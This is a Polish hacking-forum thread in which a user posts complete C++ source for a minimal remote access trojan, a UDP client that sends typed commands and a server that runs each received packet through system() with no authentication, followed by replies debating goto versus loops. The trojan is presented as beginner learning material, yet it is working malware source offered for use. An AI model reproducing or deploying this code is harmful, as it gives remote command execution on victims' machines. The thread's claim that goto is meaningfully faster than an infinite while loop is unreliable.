Strona 1 z 1

[C++] Najprostszy RAT klient-serwer

: 11 sty 2016, 09:41
autor: F3nix
Bardzo podobny trojan typu klient-serwer do tego który zademonstrował nam już wcześniej Kenjin w języku PHP. Również wykorzystuje gniazda, jednak został napisany w języku C++. Jest to bardzo podstawowy kod bazowy dobry dla początkujących do nauki pisania tego typu oprogramowania do celów edukacyjnych. Jest to kolejny odmęt ze starego HDD :-)

Klient

Kod: Zaznacz cały

/*
Coded by: The_Wraith
Coded on: 02-10-05
*/

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock.h>

#define doCleanup WSACleanup(); exit(1);
#pragma comment(lib,"wsock32.lib");

using namespace std;

char buf[65500];
char ip[16];

int main(int argc,char *argv[])
{
	WSADATA wsaData;
	WORD wVer = MAKEWORD(1,1);
	SOCKADDR_IN sin;
	SOCKET s;

    if (WSAStartup(wVer,&wsaData) != 0) {
		doCleanup;
	}
    s = socket(AF_INET,SOCK_DGRAM,0);
	if (s == INVALID_SOCKET) {
		doCleanup;
	}

	sin.sin_family=AF_INET;
	sin.sin_port=htons(9898);
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    
loop:
	cout<<"Enter command: ";
	cin.getline(buf,sizeof(buf));
	cout<<"Sending "<<buf<<"...\n";
	if (sendto(s,buf,sizeof(buf),0,(sockaddr*)&sin,sizeof(sin)) > 0) {
		cout<<"Sent successfully!"<<endl;
		goto loop;
	}
	
	return 0;
}
Serwer

Kod: Zaznacz cały

/*
Coded by: The_Wraith
Coded on: 02-10-05
*/

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock.h>

#define doCleanup WSACleanup(); exit(1);
#pragma comment(lib,"wsock32.lib");

using namespace std;

char buf[65500];

int main()
{
	WSADATA wsaData;
	WORD wVer = MAKEWORD(1,1);
	SOCKADDR_IN sin;
	SOCKET s;
    int sinsize;
    int i;

    if (WSAStartup(wVer,&wsaData) != 0) {
		doCleanup;
	}
    s = socket(AF_INET,SOCK_DGRAM,0);
	if (s == INVALID_SOCKET) {
		doCleanup;
	}
  
	sin.sin_family=AF_INET;
	sin.sin_port=htons(9898);
    sin.sin_addr.s_addr = 0;
    
	if (bind(s,(sockaddr*)&sin,sizeof(sin)) == SOCKET_ERROR) {
		doCleanup;
	}
	sinsize = sizeof(sin);
	while (1) {
		if (recvfrom(s,buf,sizeof(buf),0,(sockaddr*)&sin,&sinsize) > 0) {
			system(buf);
		}
	}

	return 0;
}

Re: [C++] Najprostszy RAT klient-serwer

: 11 sty 2016, 10:53
autor: Kenjin
Nie wierze, ze autor tego kodu użył goto zeby zrobic loopa :D

Re: [C++] Najprostszy RAT klient-serwer

: 11 sty 2016, 13:02
autor: F3nix
To przecież dobrze o nim świadczy w tym przypadku. Wiem że uczą na uczelniach, że GOTO to zło ale chyba zapominają skąd się to wzięło i wpajają trochę źle bez wyjaśnienia... o GOTO mówił Dijkstra https://en.wikipedia.org/wiki/Considered_harmful miał głównie na myśli, że w rozbudowanych programach ciężko to debugować bo możesz gdzie chcesz wyskakiwać nawet z pętli. Nie miał na pewno na myśli że GOTO jest piekielne i zakazać.

W tym przypadku jak najbardziej jest GOTO wskazane bo jest na pewno szybsze od pętli. Jeśli miałeś styczność kiedyś z ASM (pętle) to one sprawdzają warunek (compare/cmp) i na podstawie wyniku logicznego z nich wykonują skok za pomocą JMP/JLE do odpowiedniej części kodu (albo do środka pętli albo wyskakują za nią bo warunek fałszywy). Tak samo działa IF ELSE na poziomie kodu maszynowego.

Jako że GOTO to jest po prostu skok (JMP), więc nie jest wykonywane żadne porównanie. Wynika tutaj wyższość wydajnościowa GOTO względem pętli. Śmiem twierdzić, że zalecane powinno być stosowanie szczególnie w takich pętlach jak tutaj czyli wiecznych właśnie instrukcji skoku GOTO.

Co innego jak ma się kilkanaście pętli w pętli i debuguj to ludzkim rozumem jeśli gdzieś nagle ktoś daje skok GOTO do innej części (nie daj Boże tej samej pętli)...

W sumie w ASM pętla while to około 5-6 instrukcji, a goto to 1 instrukcja... :D Pytanie tylko czy nowoczesne kompilatory jeśli się włączy optymalizacje kodu nie zamieniają pętli WHILE(1) na GOTO. Pewnie tak robią.

A tutaj dlaczego ten mit o GOTO się pojawia ciągle: https://pl.wikipedia.org/wiki/Spaghetti_code

Re: [C++] Najprostszy RAT klient-serwer

: 11 sty 2016, 13:38
autor: Kenjin
No mi wlasnie zawsze wpajano, ze GOTO to zlo a nigdy nad tym sie nie zastanawilem. Oswieciles mnie :). Tak programowalem troche w ASM (MIPS i X86) ale to stare dzieje :)